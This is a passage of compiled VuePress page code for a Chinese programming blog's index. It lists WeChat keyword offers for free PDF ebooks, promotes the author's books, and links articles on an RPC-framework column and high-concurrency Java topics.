"),a("p",[e._v("关注 "),a("strong",[e._v("冰河技术")]),e._v(" 微信公众号:")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("并发编程2")]),e._v("” 领取《深入理解高并发编程(第2版)》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("并发编程")]),e._v("” 领取《深入理解高并发编程(第1版)》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("并发源码")]),e._v("” 领取《并发编程核心知识(源码分析篇 第1版)》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("渗透笔记")]),e._v("” 领取《冰河的渗透实战笔记》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("我要进大厂")]),e._v("” 领取《我要进大厂系列之面试圣经(第1版)》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 ”"),a("strong",[e._v("限流")]),e._v("“ 领取《亿级流量下的分布式解决方案》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("设计模式")]),e._v("” 领取《深入浅出Java23种设计模式》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("Java8新特性")]),e._v("” 领取 《Java8新特性教程》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("分布式存储")]),e._v("” 领取《跟冰河学习分布式存储技术》 PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("Nginx")]),e._v("” 领取《跟冰河学习Nginx技术》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("互联网工程")]),e._v("” 领取《跟冰河学习互联网工程技术》PDF电子书。")]),e._v(" "),a("p",[e._v("回复 “"),a("strong",[e._v("冰河索引")]),e._v("” 领取《冰河技术公号文章索引》PDF电子书。")]),e._v(" "),a("h2",{attrs:{id:"公众号文章同步-善用-ctrl-f-搜索文章"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#公众号文章同步-善用-ctrl-f-搜索文章"}},[e._v("#")]),e._v(" 公众号文章同步(善用 Ctrl+F 搜索文章)")]),e._v(" "),a("h3",{attrs:{id:"我的新书"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#我的新书"}},[e._v("#")]),e._v(" 我的新书")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://img-blog.csdnimg.cn/fe76310aea734752b3b79c4df1438943.jpeg?raw=true",width:"80%"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[a("a",{attrs:{href:"https://item.jd.com/13190783.html"}},[e._v("《深入理解高并发编程:核心原理与案例实战》")])]),e._v(" "),a("br")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://img-blog.csdnimg.cn/5ee367b68023466a87f66763a64a4133.jpg?raw=true",width:"100%"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[a("a",{attrs:{href:"https://item.jd.com/12972343.html"}},[e._v("《深入理解分布式事务:原理与实战》")])]),e._v(" "),a("br")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://img-blog.csdnimg.cn/20210426115257555.png?raw=true",width:"80%"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[a("a",{attrs:{href:"https://item.jd.com/13036154.html"}},[e._v("《MySQL技术大全:开发、优化与运维实战》")])]),e._v(" "),a("br")]),e._v(" "),a("div",{attrs:{align:"center"}},[a("img",{attrs:{src:"https://img-blog.csdnimg.cn/20200828011209412.png?raw=true",width:"80%"}}),e._v(" "),a("div",{staticStyle:{"font-size":"18px"}},[a("a",{attrs:{href:"https://item.jd.com/12710993.html"}},[e._v("《海量数据处理与大数据技术实战》")])]),e._v(" "),a("br")]),e._v(" "),a("h3",{attrs:{id:"新书介绍"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#新书介绍"}},[e._v("#")]),e._v(" 新书介绍")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247502342&idx=1&sn=2fed57688d1f747dd1f167648b5f629d&chksm=cf567d07f821f411080fd0a91a8f6b0e93467be15ccecbf1250a2b5c79064265a48d6def0e0c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("多年亿级流量下的高并发经验总结,我毫无保留的写在了这本书中"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247502370&idx=1&sn=7ca6db495e46a89e707d6390f19eb7b4&chksm=cf567d23f821f4354fe2fa8f6f93502abdac9f3514c1f18ca672ad489c0b402a0b9e1254550c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河最新出版的《深入理解高并发编程:核心原理与案例实战》到底讲了些啥?(视频为证)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497263&idx=1&sn=8228a795261b0a90a3f42322368616fc&chksm=cf56412ef821c8389584e9e608aa4d6515cf68e26758b9c578a8f60a796999fafc8686a6a425&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("让大家久等了,冰河的《深入理解分布式事务:原理与实战》终于出版了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499558&idx=1&sn=c2bf24fd7b6615aeab489c93c65f7fdb&chksm=cf564827f821c1312adffa0b13bf2ffd24be1e378cd46ebaf96d97ddddcb0a22a3339af5058c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河获奖啦!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497328&idx=1&sn=2220b14a5874b225ee032f2d53e55b92&chksm=cf564171f821c867a6dacd4ca6e6189136eb2de7a9a53a75338c6f4b347d2ad7a7d48a1399d9&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("没别的,这次全是图!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497347&idx=1&sn=acf9fc57ecc5c44b5d28877bfd55c4d3&chksm=cf564182f821c894de668c19592419f2e629f5f200b7a548dc87e7b93f5ed0543d97a0960c4a&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("预售第一天霸榜No.1"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497427&idx=1&sn=1bc426317ef3d63109b5c6b679b60bc3&chksm=cf5641d2f821c8c425cb3b2f3edd802a16f27ecc31f6881a6180bf927d39c335a27a5e825f9a&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("分布式事务开山之作草图曝光!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497449&idx=1&sn=33ede1de6b2f66f21be579720f3419af&chksm=cf5641e8f821c8fe66d3f7d0379953169d4f8d7bfd44615de766796ece591685e9030a16232f&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("周六,签了100本书!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497530&idx=1&sn=aae63e5c000ff6a310a227ec901eaa2d&chksm=cf56403bf821c92db65e9092a1d2c511e70db7adca1021d7342ffbc02db8afa5b96fb3007f75&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("成绩出来了,三项第一!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497556&idx=1&sn=e5346ebb0dde3884137e13c7e68cb319&chksm=cf564055f821c943fced4e7d7729ca1ff9416ea9bab12b6b3e220b78311cb385c2b0e77c5249&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("这本书爆了,上架不到6天紧急加印!!!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497872&idx=1&sn=e5f7adb745339e3fa04c3f7174daadc6&chksm=cf564f91f821c68722cf344de013a9650006337f6d711142b17522066782c0041a6f6c9f680c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("又要加印了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497953&idx=1&sn=03b0377302d0ea619519b800390cbe94&chksm=cf564fe0f821c6f6048321e35fa84b26ceb028b83e62cb80e457427e2d2105761afa0e70acd7&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河作客开源中国“高手问答”栏目了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489216&idx=1&sn=ba163354bcc2ce902208bd9295065ab1&chksm=cf55a1c1f82228d7d1d1b71939614e30b58fd44b1cdea452e4afad57e53f642af815cd268b0c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我的《海量数据处理与大数据技术实战》出版啦!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489195&idx=1&sn=dd00de3ebd46aca9e318ff513cb23fcb&chksm=cf55a1aaf82228bc3b49ed8b338f0511fb465548d1ddb11489355cdac031cb5ae8b412f42baf&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你敢信?冰河的《海量数据处理与大数据技术实战》免费送!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489115&idx=1&sn=464b0c26af355588db4efda150ca646f&chksm=cf55a15af822284c3e38e542cfb7824d027c947495316ebce26a64abdd27e65a8d10ecce3481&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("《海量数据处理与大数据技术实战》读者福利!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489114&idx=1&sn=f6d3ecc53f7b53e91e050aa6d9e4b9e0&chksm=cf55a15bf822284d4759def938cb06a0da92aadd9768308aedd54bc86e09f9f708b916f957fd&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("两本书,你更喜欢哪一本?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489670&idx=1&sn=fe4e1d4f3db05607e37f35cbd7837fc8&chksm=cf55af87f8222691c42b252444a2d5ec1989aadbc0956463169fe6bc8f77c4977b3a4d2dfe9c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河又一MySQL技术力作出版(文末送书)!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"rpc手撸专栏-🔥🔥🔥-持续更新中"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#rpc手撸专栏-🔥🔥🔥-持续更新中"}},[e._v("#")]),e._v(" RPC手撸专栏(🔥🔥🔥 )持续更新中...")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/5HOUg49X0xQmkQjMiWnaIg",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》前言:这次我设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_6gfgwev2uw0p.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第1章:开篇,从零开始手撸一个能在实际场景使用的高性能RPC框架"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_xvd5up1u16nx.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第2章:高性能分布式RPC框架整体架构设计"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_zr6w6dvgdc95.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第3章:RPC服务核心注解的设计与实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_bal2cnmw3jbi.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第4章:实现RPC服务核心注解的扫描与解析"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_df11g9wmm8ad.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第5章:服务提供者收发消息基础功能实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_qgntsrvlljea.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第6章:自定义网络传输协议的实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_5wqs9pshkwep.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第7章:自定义网络编解码的实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_cd0dpx73a4uk.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第8章:模拟服务消费者与服务提供者之间的数据交互"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_fwxlxhq2bthz.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第9章:服务提供者调用真实方法的实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_1uamc23nb7ws.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第10章:测试服务提供者调用真实方法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_wjwsso804nip.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第11章:服务提供者扩展支持CGLib调用真实方法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_wpfhwa85newn.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第12章:实现服务消费者与服务提供者直接通信"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_dfzr8j7xsn7e.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第13章:服务消费者异步转同步直接获取返回结果"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_6v8wcbaaitg4.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第14章:服务消费者异步转同步的自定义Future与AQS实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_oixsibgwepmu.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第15章:服务消费者同步、异步、单向调用的实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_7nlqbj3z8rgw.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第16章:服务消费者回调方法的实现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_bv0jkh6fhr1w.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第17章:服务消费者实现动态代理功能屏蔽构建请求协议对象的细节"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_r6u3xt22wf67.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第18章:服务消费者整合动态代理实现直接调用接口返回结果数据"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://articles.zsxq.com/id_ciz8m2zcl6nt.html",target:"_blank",rel:"noopener noreferrer"}},[e._v("《RPC手撸专栏》第19章:服务消费者动态代理实现异步调用"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"精通高并发系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#精通高并发系列"}},[e._v("#")]),e._v(" 精通高并发系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/E5XZW_HSqKBbgxix6xQGAQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("🔥🔥🔥 《深入理解高并发编程(第2版)》八大篇章,共433页,打包发布!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499147&idx=1&sn=757b83308cef7248a0d4549dd1ffa9a7&chksm=cf564a8af821c39c28c911e08b9367979a4cd868c2be64f93ef3571936b614416716f3ad6d9b&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深入理解CPU缓存一致性协议MESI(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499600&idx=1&sn=cdb4b375676fc71357cbca6a30d9b93d&chksm=cf564851f821c147617db702fe4af386fe1e2acea1caa318ba33a3dd3878f538ae4ce74d3ea4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试高并发,凉了!!(全程高能,建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499371&idx=1&sn=4651483f83675642657c0bfc71cfdc5c&chksm=cf56496af821c07cbc5acf16ee24e36da72f73554916a5b01427e0b2d36e728e19e885b3a94c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("放假了再撸一篇:StampedLock(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499203&idx=1&sn=ec3fed322fbb7497563921d1a31924b8&chksm=cf564ac2f821c3d467b6efa428c2b67885e466e13b67fd8c363cbb3ab0ae0edbba86c18b269e&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一个Callable接口能有多少知识点?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497033&idx=1&sn=2d4dfe36a6799e8484915d0faf86c7d5&chksm=cf564248f821cb5e88fd823c1203a534fe3f9dff4b81cd29cebf5c43fc0619a765716bc7a093&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("10分钟手撸Java线程池,yyds!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496873&idx=2&sn=be0a6919734f01d042c63a12cf692d03&chksm=cf5643a8f821cabeae2c37ab468552b9a104f3e0ed5f81ffb862faa1c6da982754eae2c0ac6d&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不得不说的几种限流算法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496611&idx=1&sn=12885d386beeda9ebaa7192eeb74de07&chksm=cf5644a2f821cdb4b458a43e26c8f3af2c1f3d274d82ecc53ca9e0873f36cd12022a3c179a42&token=627091476&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一文扫尽Java中的并发原子类,yyds!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495768&idx=1&sn=7a9eadbfc54600b26fa1bcb00bca5b52&chksm=cf564759f821ce4fb234ced2deb2c2bee1c4ed3b78115545ae481fd5314d6eb1d865df9c6cc8&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发秒杀系统如何实现正确的扣减库存?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495757&idx=1&sn=66ad5e42ee5bfb4e60ae257c1296f261&chksm=cf56474cf821ce5ada36c785e7086d341add1e3333330268c7e3ae8cc1dfdc5758d3c86930f9&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("生产环境内存溢出了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495561&idx=1&sn=84324d48463ebcb34aa3b095a6f3af87&chksm=cf565888f821d19eb98b83793f476c800287b7df2bae4f1f68e6af32c7adff38ad31de1df282&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("实践出真知:全网最强秒杀系统架构解密!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495501&idx=1&sn=1140ff616ac5d247f9a3c100c3a82322&chksm=cf56584cf821d15a78f6d5a05d3085991b8fdd2a032c89944ffb4d7e7d06ad3d6ea0f09b3ffd&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("并发编程踩坑实录二:并发容器踩坑总结!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495411&idx=1&sn=5826041180fbb0a2fb938b1cdb4fcc43&chksm=cf5659f2f821d0e4eed130c28aa757058699a9e2f92a6bbc67fc5688de362edbc50bdd396d13&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("并发编程踩坑实录一:盘点JDK中同步容器的两大坑!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495332&idx=1&sn=6fcaf156fae6419a03ede479a30eede4&chksm=cf5659a5f821d0b37d8067bf868fb60780e5794e4220312e55c5f5e9bd3994c72b724f2f379d&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("系统性能优化的关键指标(yyds)!!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495270&idx=1&sn=9c5a94cbdfd8115b45086d8bc3f06668&chksm=cf565967f821d071a83e68c22c391da8aca09ae5621af2933311d3986ea179b7642a955ba0d5&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我用10张图总结出这份并发编程最佳学习路线!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495055&idx=1&sn=8c1f14322c2f9327cea3dfafbfde855b&chksm=cf565a8ef821d398fc22ee97cbe8e29002bda11359fa122fe6538d2a5478d1bd203d8123fcc6&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("进一步优化:性能提升了200%!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494832&idx=1&sn=a2ce25f76cfaaf3c26354af226fd26c3&chksm=cf565bb1f821d2a72dad4b9bf49a6f1b449794bdefde0fc9de5b78a4df6b9d743e347fe9993e&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("性能提升了200%!(优化篇)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494645&idx=1&sn=e56f8780f857415464618b5b8546d28b&chksm=cf565cf4f821d5e21e1d91c0096680e2a6a437d51454298fd1c7a6c0d650774e8c89fda544cd&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("StampedLock,一种比读写锁更快的锁!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493259&idx=1&sn=2e17273ac15d8ca1f341303f46e4d438&chksm=cf56518af821d89c0b0ba592d405a23191eea804328d44250872a50e992e3c2d390a0e36b779&token=447597716&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("除了技术,互联网大厂更看重这些基础能力!!(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493121&idx=1&sn=cfc5676acd07a039c3716859479d9f46&chksm=cf565100f821d8168c2191fe6ab00590e657c96ad16727b708586c759dc568cae35065b2bd3b&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("【漫画高并发】工作了3年的程序员小菜面试高并发岗位被吊打虐哭!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492717&idx=1&sn=14f9818c02884143e5a249a8eb6f541a&chksm=cf56536cf821da7a07e305e16938b0d754af05485498e68ba2b9c8adc711189eb56f3af50740&token=1574716246&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("刚研究完Callable和Future,各位随便问!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492194&idx=1&sn=536d8ac9c4ab6f5bb45a156ccb671f90&chksm=cf565563f821dc75a6ed888a5bec1ab1c3371e67fe8154d7f03903bf14b3767d77337fcab505&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("这部电子书凭什么短短几个月全网累计下载突破16万?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491931&idx=1&sn=63c272ddb2e6fefe1beeec0a9a748722&chksm=cf56565af821df4ce5c03fe29daf83dd3dfb55a0f20355c2ec90a922d380b965a503dfb59b3f&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("更正《深入理解高并发编程(第1版)》中的一处错误!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491329&idx=1&sn=fa306c598453149daf646655236f01ed&chksm=cf55a800f8222116c05cb7f8b2036842aa8951e65237a5b1e86d597e5ab3273613e29ee45b10&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河写的这部《深入理解高并发编程》电子书全网已累计下载15W+!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490255&idx=1&sn=714509ac9747898d34489045e382387c&chksm=cf55adcef82224d8f2570dd02bd1bb1c3c23d1c564a820f09eb5158c6632d5faaf4bf716a741&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发场景下如何优化服务器的性能?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490372&idx=1&sn=96f0ed94f9b0c8c19eb5586f0ff20e30&chksm=cf55ac45f82225538854df50ea3817cd5b07d90d59db9bd5259b1502bce4e795c0cdafc19afb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ReadWriteLock怎么和缓存扯上关系了?!"),a("OutboundLink")],1)]),e._v(" 